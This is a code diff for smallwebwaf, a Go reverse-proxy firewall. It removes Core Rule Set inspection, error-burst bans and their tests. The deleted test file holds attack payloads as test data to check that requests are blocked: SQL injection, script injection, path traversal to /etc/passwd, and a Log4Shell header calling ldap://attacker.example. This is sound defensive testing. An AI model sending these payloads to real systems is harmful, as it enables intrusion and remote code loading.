//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"}
byFile := []string{"file"}
@@ -97,17 +94,14 @@ func New(topN int, instanceName string) *Metrics {
Help: "How long requests passed to the app took, from then to their end.",
}),
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.",
"Requests that broke a rate limit or a byte limit, by its window and "+
"its kind, requests or bytes.",
[]string{"window", "kind"}),
sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
"Requests that passed a size or time limit, by its setting.",
[]string{"limit"}),
offences: counterVec("smallwebwaf_offences_total",
"Offences, by kind.", []string{"kind"}),
wafMatches: counterVec("smallwebwaf_waf_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN),
asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -143,8 +137,7 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
m.countries, m.asns,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize,
@@ -414,10 +407,26 @@ func (m *Metrics) RequestEnded(
m.upstreamDuration.Observe(upstreamDuration.Seconds())
}
if line.LimitHit != "" {
// The log line names a byte limit's window with _bytes after it.
window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes")
kind := ratelimit.KindRequests
if isBytes {
kind = ratelimit.KindBytes
}
m.rateLimitHits.WithLabelValues(window, kind).Inc()
}
if limit != "" {
m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
}
if line.Offence != "" {
m.offences.WithLabelValues(line.Offence).Inc()
}
if line.Country != "" {
m.countries.add(line.Country, line)
}
@@ -427,41 +436,12 @@ func (m *Metrics) RequestEnded(
}
}
// LimitHit counts a request that broke a rate limit, a byte limit or the
// error burst, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
}
// Offences counts the offences of r, a request that has ended, as its
// client's history counts them, by kind, named as clients.json names
// them.
func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{
"limit": r.BrokeLimit,
"attack": r.Attack,
"rule_blocked": r.RuleBlocked,
"waf_blocked": r.WAFBlocked,
"token_refused": r.TokenRefused,
} {
if committed {
m.offences.WithLabelValues(kind).Inc()
}
}
}
// RuleMatched counts a request that matched the rule id, whose action is
// action.
func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc()
}
// WAFMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode.
func (m *Metrics) WAFMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
}
// StateFileWritten counts a write of the state file name, of size bytes,
// that ended with err.
func (m *Metrics) StateFileWritten(name string, size int, err error) {
internal/proxy/admin.go
+2 -4
View File
@@ -45,9 +45,8 @@ var (
// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
// token, sent as Authorization: Bearer <token>: the metrics
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
// it is refused with 401, which counts toward the error burst. An
// endpoint whose token is unset answers 404, as any other request under
// /_smallwebwaf/ does.
// it is refused with 401. An endpoint whose token is unset answers 404,
// as any other request under /_smallwebwaf/ does.
func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionAdmin
rq.startClientResponseTimeout()
@@ -58,7 +57,6 @@ func (rq *request) answerAdmin() {
case token == "":
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
case !hasToken(rq.in, token):
rq.tokenRefused = true
rq.out.Header().Set("WWW-Authenticate", "Bearer")
rq.answer(refusal{
status: http.StatusUnauthorized,
internal/proxy/bans.go
+30 -76
View File
@@ -1,7 +1,6 @@
package proxy
import (
"net/http"
"net/netip"
"time"
@@ -10,6 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
@@ -83,48 +83,6 @@ func (rq *request) countBytes() {
}
}
// countRefusal counts the request for the error burst once it has been
// answered, if smallwebwaf refused it after a rule file match, a trap path
// or a Core Rule Set match, or for a missing or wrong token, and in
// observe mode if enforce mode would have: more than
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
// not counted, and nothing is while the threshold is off.
func (rq *request) countRefusal() {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return
}
// In observe mode, a request that enforce mode would have refused
// before it reached the endpoint has had no token refused there.
tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
!isInside(rq.client, cfg.AllowNets)
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
return
}
now := rq.h.now()
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
if !over {
return
}
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
status = http.StatusForbidden
case requestlog.ActionBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
}
// countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
@@ -149,27 +107,20 @@ func (rq *request) countedBytes() int64 {
}
// banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, notes the offence for the log line and counts the hit in
// the metrics. status is what the client was sent, or is sent:
// SWWAF_BAN_RESPONSE for a request over a rate limit, the app's answer for
// one whose bytes broke a byte limit, the refusal for one that broke the
// error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
// one hit names, and notes the offence for the log line. status is what
// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over
// a rate limit, the app's answer for one whose bytes broke a byte limit.
// The ban's notes give the client's limit percentage for that kind of
// limit. The ban sets the client's counters back to zero. In observe mode
// it makes no ban and sets nothing back, and raises the alert for the ban
// it would have made, if that alert would be sent.
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
switch hit.Kind {
case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
case ratelimit.KindRefusals:
rq.line.LimitHit = requestlog.LimitHitErrorBurst
default:
rq.line.LimitHit = hit.Window
rq.line.LimitHit = hit.Window
if hit.Kind == ratelimit.KindBytes {
rq.line.LimitHit += "_bytes" // as counts names the byte totals
}
rq.line.Offence = requestlog.OffenceLimit
rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
@@ -189,13 +140,13 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
Requests: rq.netblockRequests(netblock),
}
switch hit.Kind {
case ratelimit.KindRequests:
notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
case ratelimit.KindBytes:
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
percent := rq.limitPercent
if hit.Kind == ratelimit.KindBytes {
percent = rq.bytesPercent
}
notes.LimitPercent, notes.LimitPercentSetting = percent.logged()
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
if wouldBan {
@@ -215,22 +166,25 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
}
// banForAttack bans the client's netblock at now for a clear sign of
// attack, which notes name: the ban rule that matched, or the trap path
// asked for. It fills in the rest of the notes. In observe mode it makes
// no ban, and raises the alert for the ban it would have made, if that
// alert would be sent.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
// attack, the match of rule, a ban rule. In observe mode it makes no ban,
// and raises the alert for the ban it would have made, if that alert
// would be sent.
func (rq *request) banForAttack(now time.Time, rule rules.Rule) {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return
}
notes.ASN = rq.line.ASN
notes.ASName = rq.line.ASName
notes.Country = rq.line.Country
notes.Reputation = rq.reputation
notes.Request = rq.noted(now, rq.h.config.BanResponse)
notes.Requests = rq.netblockRequests(netblock)
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
RuleID: rule.ID,
Target: rule.Target,
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
internal/proxy/bans_test.go
-3
View File
@@ -205,7 +205,6 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
deniedCountries: "kp",
@@ -244,7 +243,6 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
deniedCountries: "kp",
@@ -270,7 +268,6 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
deniedCountries: "kp",
})
internal/proxy/bodies.go
+3 -27
View File
@@ -1,10 +1,8 @@
package proxy
import (
"bufio"
"errors"
"io"
"net"
"net/http"
"sync/atomic"
@@ -23,9 +21,6 @@ type requestBody struct {
// SWWAF_REQUEST_MAX_BYTES.
body io.ReadCloser
rq *request
// readByCoreRuleSet is what the Core Rule Set read of the body before
// the request went to the app, and Read gives first.
readByCoreRuleSet []byte
// waiting is true while a Read waits for the client to send more.
waiting atomic.Bool
// received is true once the client has sent the whole body.
@@ -34,16 +29,8 @@ type requestBody struct {
bytes atomic.Int64
}
// Read reads from the client's body, after what the Core Rule Set read of
// it, which has been counted already.
// Read reads from the client's body.
func (b *requestBody) Read(p []byte) (int, error) {
if len(b.readByCoreRuleSet) > 0 {
n := copy(p, b.readByCoreRuleSet)
b.readByCoreRuleSet = b.readByCoreRuleSet[n:]
return n, nil
}
b.waiting.Store(true)
n, err := b.body.Read(p)
b.waiting.Store(false)
@@ -213,20 +200,9 @@ func (w *responseWriter) FlushError() error {
return err
}
// Hijack takes over the connection to the client, which ReverseProxy does
// only to pass on the app's 101 Switching Protocols: that is then the
// status sent.
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
if err == nil {
w.status = http.StatusSwitchingProtocols
}
return conn, buffered, err
}
// Unwrap lets http.ResponseController reach net/http's own
// ResponseWriter for what responseWriter does not do itself.
// ResponseWriter, which is how ReverseProxy takes over the connection of
// an upgraded request.
func (w *responseWriter) Unwrap() http.ResponseWriter {
return w.ResponseWriter
}
internal/proxy/bytelimits_test.go
+2
View File
@@ -282,6 +282,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
t.Parallel()
const off = "off"
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
})
internal/proxy/coreruleset.go
-124
View File
@@ -1,124 +0,0 @@
package proxy
import (
"errors"
"net/http"
"os"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// checkCoreRuleSet inspects the request with the Core Rule Set, unless
// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
// and in block mode refuses the request, which is an offence its client's
// history counts, and so returns ActionWAFBlocked. It returns "" for a
// request it does not refuse, and for one whose body meets a size or time
// limit while the Core Rule Set reads it, which it notes nothing of.
func (rq *request) checkCoreRuleSet() string {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
return ""
}
start := time.Now()
result := rq.inspect()
if rq.refused.Load() != nil {
return "" // the refusal for that limit, which check returns
}
rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
rq.line.WAFRuleIDs = result.RuleIDs
rq.line.WAFScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.WAFMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return ""
}
rq.alertWAFBlock(result)
if cfg.WAFMode == config.WAFModeDetect {
return ""
}
rq.wafBlocked = true
return requestlog.ActionWAFBlocked
}
// inspect runs the Core Rule Set on the request, which reads the part of
// its body it inspects within SWWAF_CLIENT_REQUEST_TIMEOUT, and keeps that
// part for the app. A client that runs out of time is refused with 408
// here, and a body over SWWAF_REQUEST_MAX_BYTES with 413 as it is read;
// check returns the refusal. A body that breaks off for any other reason
// is passed on as far as it came, and the request to the app fails there,
// as it would have without the Core Rule Set.
func (rq *request) inspect() waf.Result {
if rq.body == nil {
// Nothing is read of no body, so nothing can go wrong reading it.
result, _, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, http.NoBody)
return result
}
_ = rq.rc.SetReadDeadline(rq.clientRequestDeadline())
result, read, err := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.body)
// The timeouts that run while the request goes to the app take over.
_ = rq.rc.SetReadDeadline(time.Time{})
rq.body.readByCoreRuleSet = read
if errors.Is(err, os.ErrDeadlineExceeded) {
rq.refuse(refusal{
status: http.StatusRequestTimeout,
action: requestlog.ActionTimedOut,
limit: "SWWAF_CLIENT_REQUEST_TIMEOUT",
})
}
return result
}
// alertWAFBlock raises the waf_block alert for the request, which the Core
// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertWAFBlock(result waf.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventWAFBlock,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
internal/proxy/coreruleset_test.go
-590
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@@ -1,590 +0,0 @@
package proxy_test
import (
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWWAF_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
// that it has duration_waf, or with no score, that it has none of the
// three: the Core Rule Set did not inspect the request.
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t.Helper()
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
}
switch {
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
line.fields["waf_score"], line.fields["duration_waf"])
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
case score != nil && line.DurationWAF == nil:
t.Error("log line has no duration_waf")
}
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t.Parallel()
for _, attack := range []struct {
name, path, header string
ruleIDs []int
score int
}{
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
{
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
[]int{941100, 941110, 941160, 941390}, 20,
},
{
"path traversal in the path", "/files/../../etc/passwd", "",
[]int{930100, 930110}, 10,
},
{
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
[]int{944150}, 5,
},
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
{
// Coraza keeps the first 1000 query parameters.
"SQL injection after 1000 query parameters",
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
[]int{900300}, 5,
},
} {
t.Run(attack.name, func(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
mode, action string
status int
}{
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK},
} {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
line, _ := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action)
wantWAF(t, line, &attack.score, attack.ruleIDs...)
}
})
}
}
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
}
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
t *testing.T,
) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
})
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward)
wantWAF(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionWAFBlocked)
wantWAF(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionRuleBlocked)
wantWAF(t, line, nil)
// With SWWAF_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
}
func TestAnomalyThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(5), 942100)
}
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
t.Parallel()
for _, request := range []struct {
name, method, path, header string
// ruleIDs are the rules that match the request with none
// switched off.
ruleIDs []int
}{
{
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
[]int{920420, 930130},
},
{
"package upload without a type", http.MethodPut,
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
[]int{920340},
},
{
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
[]int{920440},
},
{
"an editor's settings", http.MethodGet,
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
},
} {
t.Run(request.name, func(t *testing.T) {
t.Parallel()
body := ""
if request.method != http.MethodGet {
body = "push"
}
// By default, the rules are switched off.
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
})
}
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
const body = "id=1'%20OR%20'1'='1"
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
}
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
t.Parallel()
// The app answers with the body it was sent, once it has the whole of
// it: Go's server reads no more of a body once the answer has begun.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
for i, tc := range []struct {
name, contentType, body string
// announced sends the body's length in Content-Length; otherwise
// the body is sent in chunks with no length given.
announced bool
}{
{"form data within the limit", formData, "a=b", true},
{"form data longer than the limit", formData, longer, true},
{"form data longer than the limit, not announced", formData, longer, false},
{
"JSON larger than the limit", "application/json",
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
},
{
"a binary body", "application/octet-stream",
strings.Repeat("\x00\xff", sizeLimit), true,
},
} {
// A reader whose length the client cannot tell is sent in chunks.
var body io.Reader = strings.NewReader(tc.body)
if !tc.announced {
body = io.MultiReader(body)
}
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", tc.contentType)
got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name, len(got.body), got.status, len(tc.body))
}
line := out.requestLines(t, i+1)[i]
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.RequestBytes != int64(len(tc.body)) {
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
line.RequestBytes, len(tc.body))
}
}
}
func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) {
t.Parallel()
const (
first = "a=" // and twice the limit of b's, then the rest
rest = 64 * sizeLimit
)
// past is closed once the app has received twice what the Core Rule
// Set reads, and got is the length of the whole body it received.
past := make(chan struct{})
got := make(chan int64, 1)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit)
close(past)
m, _ := io.Copy(io.Discard, r.Body)
got <- n + m
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
// The client sends the rest only once the app has received the first
// part: were smallwebwaf to hold the body until the end, it would
// never come.
body, sender := io.Pipe()
go func() {
_, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit))
select {
case <-past:
case <-time.After(waitLimit):
t.Error("the app got no more than the Core Rule Set reads " +
"before the whole body was sent")
_ = sender.CloseWithError(io.ErrUnexpectedEOF)
return
}
_, _ = io.WriteString(sender, strings.Repeat("b", rest))
_ = sender.Close()
}()
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusOK)
want := int64(len(first) + 2*sizeLimit + rest)
if n := <-got; n != want {
t.Errorf("the app got %d bytes, want %d", n, want)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
clientRequestTimeout: shortTimeoutSetting, metricsToken: token,
})
conn := dial(t, addr)
send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+
"\r\nContent-Length: 100\r\n\r\ncontent=the first bytes")
wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, clientRequestTimeout, 1)
}
func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: "4K",
requestMaxBytes: sizeLimitSetting, metricsToken: token,
})
// Sent in chunks, its length is not announced, and is found to be over
// the limit as the Core Rule Set reads it.
body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit)))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, requestMaxBytes, 1)
}
// wantNotSentToTheApp checks that the request of line was not sent to the
// app at all.
func wantNotSentToTheApp(t *testing.T, line logLine) {
t.Helper()
_, sent := line.fields["duration_upstream_total"]
if sent {
t.Error("log line has duration_upstream_total, for a request sent to the app")
}
}
func TestResponsesAreNotInspected(t *testing.T) {
t.Parallel()
// A raw shell script, and an SQL error, which the Core Rule Set's rules
// for responses take for a leak.
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
"You have an error in your SQL syntax; check the manual that " +
"corresponds to your MySQL server version\n"
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
})
for range 2 {
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
// The third refusal in a minute breaks the error burst, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
